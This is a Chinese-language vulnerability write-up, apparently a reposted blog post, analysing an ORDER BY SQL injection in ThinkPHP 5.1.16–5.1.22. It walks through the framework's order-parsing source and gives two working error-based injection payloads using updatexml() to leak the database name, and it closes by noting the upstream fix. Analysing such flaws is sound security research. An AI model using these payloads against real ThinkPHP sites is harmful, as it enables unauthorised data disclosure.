Thinkphp 5.1.16~5.1.22 order by SQL注入

前言

这次的SQL注入点在parseOrder()方法中,影响版本是5.1.16~5.1.22。
创建:

composer create-project  topthink/think=5.1.22 thinkphp5.1.22

    "require": {
    
    
        "php": ">=5.4.0",
        "topthink/framework": "5.1.22"
    },
composer update

index控制器写法:

    public function index()
    {
    
    
        $orderby = request()->get('orderby');
        $result = db('users')->where(['username' => 'admin'])->order($orderby)->find();
        var_dump($result);
    }

至于数据库的配置则还是和之前一样:
在这里插入图片描述
记得开启app_debug和app_trace。

分析

先这样试试。

?orderby=id

get方法和where方法这里就不跟进了,还是老样子,用于获取参数和构造一下$option里面的where键。
进入order()方法:

/**
 * 指定排序 order('id','desc') 或者 order(['id'=>'desc','create_time'=>'desc'])
 * @access public
 * @param  string|array $field 排序字段
 * @param  string       $order 排序
 * @return $this
 */
public function order($field, $order = null)
{
    
    
    if (empty($field)) {
    
    
        return $this;
    } elseif ($field instanceof Expression) {
    
    
        $this->options['order'][] = $field;
        return $this;
    }

    if (is_string($field)) {
    
    
        if (!empty($this->options['via'])) {
    
    
            $field = $this->options['via'] . '.' . $field;
        }

        if (strpos($field, ',')) {
    
    
            $field = array_map('trim', explode(',', $field));
        } else {
    
    
            $field = empty($order) ? $field : [$field => $order];
        }
    } elseif (!empty($this->options['via'])) {
    
    
        foreach ($field as $key => $val) {
    
    
            if (is_numeric($key)) {
    
    
                $field[$key] = $this->options['via'] . '.' . $val;
            } else {
    
    
                $field[$this->options['via'] . '.' . $key] = $val;
                unset($field[$key]);
            }
        }
    }

    if (!isset($this->options['order'])) {
    
    
        $this->options['order'] = [];
    }

    if (is_array($field)) {
    
    
        $this->options['order'] = array_merge($this->options['order'], $field);
    } else {
    
    
        $this->options['order'][] = $field;
    }

    return $this;
    }

这么多行代码其实就是两种处理方式,如果是字符串就是这样:

        if (strpos($field, ',')) {
    
    
            $field = array_map('trim', explode(',', $field));
        } else {
    
    
            $field = empty($order) ? $field : [$field => $order];
        }

是数组就是这样:

        $this->options['order'] = array_merge($this->options['order'], $field);

最后都是给$this->options['order']只不过这里如果是一个字符串的话会按,进行分隔,如果想SQL注入的话肯定不能写到一个字符串里,应该写到数组中。
继续跟进find()方法,再跟进得到结果的这一行:
在这里插入图片描述
继续跟进这个find方法,在这里得到SQL语句:
在这里插入图片描述

    /**
     * 生成查询SQL
     * @access public
     * @param  Query  $query  查询对象
     * @return string
     */
    public function select(Query $query)
    {
    
    
        $options = $query->getOptions();

        return str_replace(
            ['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
            [
                $this->parseTable($query, $options['table']),
                $this->parseDistinct($query, $options['distinct']),
                $this->parseField($query, $options['field']),
                $this->parseJoin($query, $options['join']),
                $this->parseWhere($query, $options['where']),
                $this->parseGroup($query, $options['group']),
                $this->parseHaving($query, $options['having']),
                $this->parseOrder($query, $options['order']),
                $this->parseLimit($query, $options['limit']),
                $this->parseUnion($query, $options['union']),
                $this->parseLock($query, $options['lock']),
                $this->parseComment($query, $options['comment']),
                $this->parseForce($query, $options['force']),
            ],
            $this->selectSql);
    }

还是熟悉的替换,跟进parseOrder()方法看一下:

/**
 * order分析
 * @access protected
 * @param  Query     $query        查询对象
 * @param  mixed     $order
 * @return string
 */
protected function parseOrder(Query $query, $order)
{
    
    
    if (empty($order)) {
    
    
        return '';
    }

    $array = [];

    foreach ($order as $key => $val) {
    
    
        if ($val instanceof Expression) {
    
    
            $array[] = $val->getValue();
        } elseif (is_array($val)) {
    
    
            $array[] = $this->parseOrderField($query, $key, $val);
        } elseif ('[rand]' == $val) {
    
    
            $array[] = $this->parseRand($query);
        } else {
    
    
            if (is_numeric($key)) {
    
    
                list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
            } else {
    
    
                $sort = $val;
            }

            $sort    = strtoupper($sort);
            $sort    = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : '';
            $array[] = $this->parseKey($query, $key, true) . $sort;
        }
    }

    return ' ORDER BY ' . implode(',', $array);
}

重点有这几行代码:

if (is_numeric($key)) {
    
    
    list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
    
    
    $sort = $val;
}

$sort    = strtoupper($sort);
$sort    = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : '';
$array[] = $this->parseKey($query, $key, true) . $sort;

如果键是数字的话,相当于直接把值给$key,否则就是把值给$sort。如果$sort不是ASC或者DESC的话,还是会被置空。
再跟进一下parseKey()方法:

/**
 * 字段和表名处理
 * @access public
 * @param  Query     $query 查询对象
 * @param  mixed     $key   字段名
 * @param  bool      $strict   严格检测
 * @return string
 */
public function parseKey(Query $query, $key, $strict = false)
{
    
    
    if (is_numeric($key)) {
    
    
        return $key;
    } elseif ($key instanceof Expression) {
    
    
        return $key->getValue();
    }

    $key = trim($key);

    if (strpos($key, '->') && false === strpos($key, '(')) {
    
    
        // JSON字段支持
        list($field, $name) = explode('->', $key, 2);

        return 'json_extract(' . $this->parseKey($query, $field) . ', \'$.' . str_replace('->', '.', $name) . '\')';
    } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
    
    
        list($table, $key) = explode('.', $key, 2);

        $alias = $query->getOptions('alias');

        if ('__TABLE__' == $table) {
    
    
            $table = $query->getOptions('table');
            $table = is_array($table) ? array_shift($table) : $table;
        }

        if (isset($alias[$table])) {
    
    
            $table = $alias[$table];
        }
    }

    if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
    
    
        $key = '`' . $key . '`';
    }

    if (isset($table)) {
    
    
        if (strpos($table, '.')) {
    
    
            $table = str_replace('.', '`.`', $table);
        }

        $key = '`' . $table . '`.' . $key;
    }

    return $key;
}

这么多代码大部分都是用不到的,有用的就是这个:

    if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
    
    
        $key = '`' . $key . '`';
    }

相当于直接在$key外面加一层反引号。最后是这个:

        return ' ORDER BY ' . implode(',', $array);

把array以逗号分割成字符串,然后拼接到order by后面。
这次的注入点代码太容易看出来问题了,就是直接的进行外面加反引号,因此可以考虑闭合就可以了。闭合有2种思路,一种是键传payload,一种是值传payload:

?orderby[]=id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23
?orderby[id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23]=1

原理都是一样的。
第一个payload之所以要用数组,还是因为这里:

if (is_string($field)) {
    
    
......
        if (strpos($field, ',')) {
    
    
            $field = array_map('trim', explode(',', $field));

不用数组的话,传的值会以逗号分隔。
之后跟进到parseOrder中,在这里$sort为空,$key

id`,updatexml(1,concat(0x7e,database(),0x7e),1)#

在这里插入图片描述

经过parseKey,会在外面套一层反引号,前面的会被闭合。最终产生的SQL语句是这样:

SELECT * FROM `users` WHERE `username` = 'admin' ORDER BY `id`,updatexml(1,concat(0x7e,database(),0x7e),1)#` LIMIT 1

成功报错注入
在这里插入图片描述
第二种payload攻击原理基本相同。
引用一下七月火师傅的图片:
在这里插入图片描述

修复

看一下github:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
ban掉了)和#,进行了修复。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114537804